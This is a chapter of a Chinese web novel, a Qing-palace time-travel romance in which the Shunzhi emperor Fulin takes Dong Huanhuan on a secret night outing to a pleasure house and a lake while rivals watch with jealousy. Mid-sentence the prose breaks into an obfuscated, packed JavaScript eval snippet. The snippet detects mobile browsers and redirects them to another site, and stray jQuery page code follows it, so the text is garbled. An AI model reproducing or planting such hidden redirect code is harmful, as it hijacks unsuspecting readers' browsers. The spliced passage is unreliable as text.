109. 长相守
作品:《清穿之原来我是董鄂妃》 夜色如墨,储秀宫的偏门,漏出一道小小的光晕。李顺德提着一盏小小的灯笼,走在前面,董浣浣小心翼翼的探出头,在确定四下无人后,亦步亦趋的跟在李顺德身后,心跳如擂鼓。
她昨天真不应该答应福临,今天跟他出门,她这样时不时的偷偷溜出来,先不说房间里还有其他三个人,就说储秀宫有这么多值夜的太监宫女,被发现只是迟早的事。
董浣浣怀着忐忑的心,在宫墙的一角和福临汇了合。
李顺德将董浣浣带到福临跟前,向福临躬身行礼后,便按照吩咐退下了。
“福临,要不我们别出去了吧,万一被发现了,之前的努力岂不是都白费了……”董浣浣的声音带着不易察觉的颤抖,小心翼翼的提议道。
福临抬手按住她的肩,掌心温热的触感驱散了些许凉意,“别怕,有我在。”
福临忍不住自省,他之前的决定是不是做错了。他之所以在选秀期间,隐瞒他们的关系,只是为了保护她。但是现在好像是本末倒置了,变成了为了隐藏他们之间的关系,他家浣儿战战兢兢、如履薄冰,甚至好多次都被置于危险之中。
而且他家浣儿似乎是忘了,这皇宫、这天下到底是谁说了算了。他们的关系迟早有一天是要公告天下的。他是这天下的主宰,即使现在被发现了,谁又能奈他何?
董浣浣望着他深邃的眼眸,心中那点忐忑奇迹般的被安抚住了。又想到这或许真的是他们最后一次同游,便缓缓的点了点头同意了。
三人身影刚隐入夜色,墙角的阴影里便走出一道纤细的身影。石小睕死死盯着那渐行渐远的背影,指甲深深掐进掌心。月光勾勒出她清丽却扭曲的面容,眼底翻涌着怨愤之色。
凭什么?凭什么是董鄂.浣浣!她不服气,董浣浣无论是家世、样貌、才学,在秀女中都不算上乘。她凭什么得到他所有的偏爱。
而她石小睕,样貌才学哪一点比不上董鄂.浣浣,凭什么她苦心谋划这么久,为了他甘愿做董鄂.浣浣的影子,做众秀女的靶子,替她挡下无数明枪暗箭,换来的却只有他偶尔的一瞥,那眼神里甚至没有半分温度。
石小睕发誓她绝不会就这么算了。董鄂.浣浣,她凭什么那么好命,什么都不用做,就得到了她梦寐以求的一切,还总是一副清高的模样,对他人指指点点,真令人恶心。
“我绝不会就这样认输的!”石小睕咬着牙低语,声音冷得像冬夜的冰。
马车在京城街巷中疾驰,半个时辰后,马车经过一处朱门大院前,门楣上“白月阁”三个鎏金大字在灯火映照下熠熠生辉,门前车水马龙,丝竹之声不绝于耳。
而他们的马车并没有停在正门,反而绕了一圈停在了白月阁的后门。
刚下车,便见卫霖身着锦袍、手持折扇,快步迎上前来。他眉目俊朗,嘴角噙着恰到好处的笑意,十足一副风流才子的模样,“主子,浣主儿,久候多时了。”
董浣浣在心中感叹,这卫霖身体是真好啊,昨天刚挨了板子,今天依旧可以生龙活虎的出现在人前。
作为京城最大的销金窟,白月阁的地砖皆为汉白玉铺就,墙上悬挂着名家字画,就连伺候的侍女都衣着光鲜,席间王公贵族觥筹交错,好一副纸醉金迷的景象。
卫霖引着三人避开喧闹的大堂,穿过一道月洞门,便进入了静谧的贵宾区域,卫霖将他们引至二楼最靠里的包间,抬手示意侍女退下,才压低声音道:“主子,阁中耳目众多,臣已按您的吩咐布置妥当,东西都在西侧暗格里。”
福临微微颔首,目光扫过窗外,这里视野极好,楼下大堂的动静尽收眼底,而楼下又看不到这里的光景,当真是绝佳的地理位置。
包间内陈设雅致,八仙桌上早已摆满了精致的菜肴。
董浣浣捧着温热的茶盏,心中仍有些忐忑,“福临,这里如此热闹,若是被朝中大臣撞见……”
“放心,”福临夹了一块桂花糕放入她碗中,瞥了一眼还站在一旁的卫霖,意有所指的开口,“这事交给他就好。”
卫霖见状,赶忙接茬,摇着折扇,轻笑着开口:“浣主儿,皇上说的对,这事交给我,您就放心吧。再者说,谁会想到九五之尊会深夜出现在风月场所?”
听到他这样说,董浣浣竟然无言以对。
正说着,楼下忽然响起一阵热烈的掌声,伴随着叫好声此起彼伏。卫霖笑着解释:“是咱们白月阁的花魁萦思姑娘要登台了,浣主儿不妨看看,这位萦思姑娘的技艺可是冠绝京城。”
董浣浣好奇地俯身看向楼下戏台,只见一位身着白衣的女子缓缓走上台来,身姿窈窕如弱柳扶风。她脸上蒙着一层薄如蝉翼的白纱,只露出一双含情脉脉的眼眸,眼波流转间,仿佛能勾人心魂。随着琴弦轻拨,女子翩翩起舞,衣袖翻飞如流雪,舞步轻盈似惊鸿,每一个转身、每一次旋舞都恰到好处,引得满堂喝彩。
董浣浣望着那熟悉的眼眸,心中忽然涌起一股莫名的亲切感,她正欲细看,女子却已翩然下台,只留下满场余韵。
董浣浣转头看向一旁卫霖,询问道:“我可以见见这位萦思小姐吗?”
此刻卫霖不知道在想些什么,竟一时间没有听到董浣浣的问话,还是福临轻咳了一声,才将他拉回了神,很快他便又换上那幅玩世不恭的笑脸:“浣主儿想见,那自然是萦思的荣幸。只是可能今天不行……”
董浣浣也不着急,“无妨,我也不急于这一时。”
宴席过半,董浣浣就有些困了。毕竟今天白天挨训了一天,明天还要早起,便向福临提议回宫了,福临点头应允了。
马车行至半路,忽然听到“哎哟”一声,吴良辅急忙勒住缰绳。只见车前不远处,一个约莫七八岁的小女孩跌坐在地,手中的河灯散落一地。
小女孩吓得眼眶通红,却强忍着泪水不敢哭出声。董浣浣掀开车帘,从车上走下来,将小女孩扶起来,目光落在小女孩身上,语气温和:“抱歉,你有没有受伤呀?”小女孩怯生生地摇头,看着散落的河灯,眼圈更红了。
吴良辅见状,立刻从怀中掏出一锭银子递过去,“这锭银子给你,算是赔你的河灯钱。”
福临也从车上走下来,“吴良辅,把她剩下的河灯都买了。”
他弯腰捡起一盏未破损的河灯,递给董浣浣,“长夜漫漫,咱们要不去湖边放个河灯再回去……”
小女孩接过银子,喜出望外,连忙道谢后走开了。
“好。”董浣浣捧着那盏小巧的河灯,灯面上画着简单的莲花图案,烛光透过薄纸映在她脸上,温暖而柔和。
见她点头,福临便吩咐吴良辅驾车去距离这里最近的北苑。
董浣浣到了之后,才发现所谓的北苑即以后的北海公园。
夜色中的北苑更是美得如诗如画,太液池水面开阔,波光粼粼,倒映着岸边的亭台楼阁与漫天星斗。琼华岛矗立在湖中心,山上白塔巍峨,在月光下勾勒出优美的轮廓。岸边古木参天,苍松翠柏的影子投射在地上,随风摇曳。
这里流传着“一池三山”的传说,琼华岛象征蓬莱,团城为瀛洲,中海犀山台似方丈,相传秦始皇派徐福寻找的长生不老药便藏在这样的仙山之中。
董浣浣望着眼前的景致,听着福临的解说,一时入了迷,想着如果他们俩可以一直这样安安静静待在一起该多好啊。
“传说曾有仙人在琼华岛的广寒殿中居住,夜深人静时便能听到仙乐声声……”福临刚说完,看着董浣浣眼睛一眨不眨的看着自己,疑惑的开口问她,“怎么了?”
董
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837310|190875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浣浣回过神来,定了定神,轻声道,“没什么。”
福临笑了笑,牵过她的手,继续往前走……
吴良辅早已安排好画舫,三人登船后,船夫缓缓摇桨,画舫在水面上平稳前行。
福临从怀中取出一个精致的食盒,打开一看,里面是几样小巧的糕点,正是白月阁的招牌点心。
“知道你喜欢,特意让卫霖打包的。”他拿起一块杏仁酥递到董浣浣嘴边,眼神温柔。
董浣浣脸颊微红,张口吃下,甜而不腻的滋味在舌尖化开,心中暖意融融。
画舫行至湖中心,福临提议玩猜谜的游戏,输的人要罚喝一杯桂花酒。
董浣浣不同意,他肯定是故意的,明知道她最不擅长这些了,“我才不要玩这个,你这分明就是想要灌醉我。”
福临目光灼灼地看着董浣浣,“好,都听你的,我们不玩这个。”
董浣浣被他的目光烫到,起身想去船头看看夜景,脚下却被船沿绊了一下,身体瞬间失去平衡,朝着冰冷的湖水倒去。她惊呼一声,下意识地闭上眼,预想中的冰冷并未降临,反而落入一个温暖坚实的怀抱。
福临紧紧抱着她的腰,力道大得几乎要将她揉进骨血里,语气中带着后怕的颤抖:“你吓死我了!”
董浣浣惊魂未定,脸颊贴在他的胸膛上,能清晰地听到他急促的心跳声。
这一幕,恰好被不远处另一艘画舫上的孟古清看得清清楚楚。她本是陪海日出来散心,却没想到会撞见这一幕。
看着福临对董浣浣那般珍视的模样,孟古清的指甲几乎要嵌进手中的皮鞭里。明明他们自幼便有婚约,明明无论是身份背景,还是能力抱负,他们都是最相配的,仅仅因为董浣浣比她先遇到他,就那样什么也不用做,轻易的就得到了他的心,她不服气。
明明他们马上就要大婚了,他居然还一直躲着她,处处为董浣浣保驾护航,嫉妒如毒蛇般啃噬着她的心,她死死盯着那相拥的身影,眼底翻涌着怨毒与不甘。
海日看到孟古清这幅模样,忧心忡忡的劝解道:“布木巴,你还有机会退婚,现在放手还来得及……” 她不想再看到一对怨偶了,也不想再看到一对爱而不得了。
孟古清随手将皮鞭甩进河里,“他本来就该是我的,我凭什么放手!”
董浣浣他们自是没看到这边的动静,画舫停靠在湖中心的小岛上,岛上草木葱茏,一座小巧的亭台矗立其间。
福临牵着董浣浣的手走上岛,吴良辅早已按照吩咐,带来了几根鲜红的绸缎。
“听闻此地是祈福圣地,咱们挂上红绸,愿往后岁岁平安。”福临拿起一根红绸,亲手系在亭台的柱子上,董浣浣也拿起一根,踮起脚尖系在旁边,两人的手指不经意间触碰,皆是一阵心悸……
夜色渐深,湖面泛起淡淡的雾气,带着一丝凉意。福临让吴良辅取来一支玉笛,他站在亭边,望着水中的月影,缓缓举起玉笛凑到唇边。
悠扬的笛声骤然响起,曲调温柔缠绵,带着浓浓的爱慕之意,正是古曲《凤求凰》。
笛声时而低回婉转,如私语呢喃;时而高亢明亮,如誓言铿锵。董浣浣静静地站在一旁,听着这动人的旋律,泪水不知不觉湿润了眼眶。
她望着眼前的男子,月光洒在福临身上,勾勒出他挺拔的身影,董浣浣心中默念:纵使前路坎坷,纵使这份感情注定艰难,能有此刻的相守,便已足矣。
一曲罢,福临放下玉笛,转身看向董浣浣,眼中满是深情:“浣儿,我心悦于你,无关身份,无关名利,只求与你岁岁年年,相守不离。”
董浣浣再也忍不住,泪水夺眶而出,她扑进福临怀中,哽咽道:“我也爱你……”
我只求你,在我离开你的那天,不要恨我……

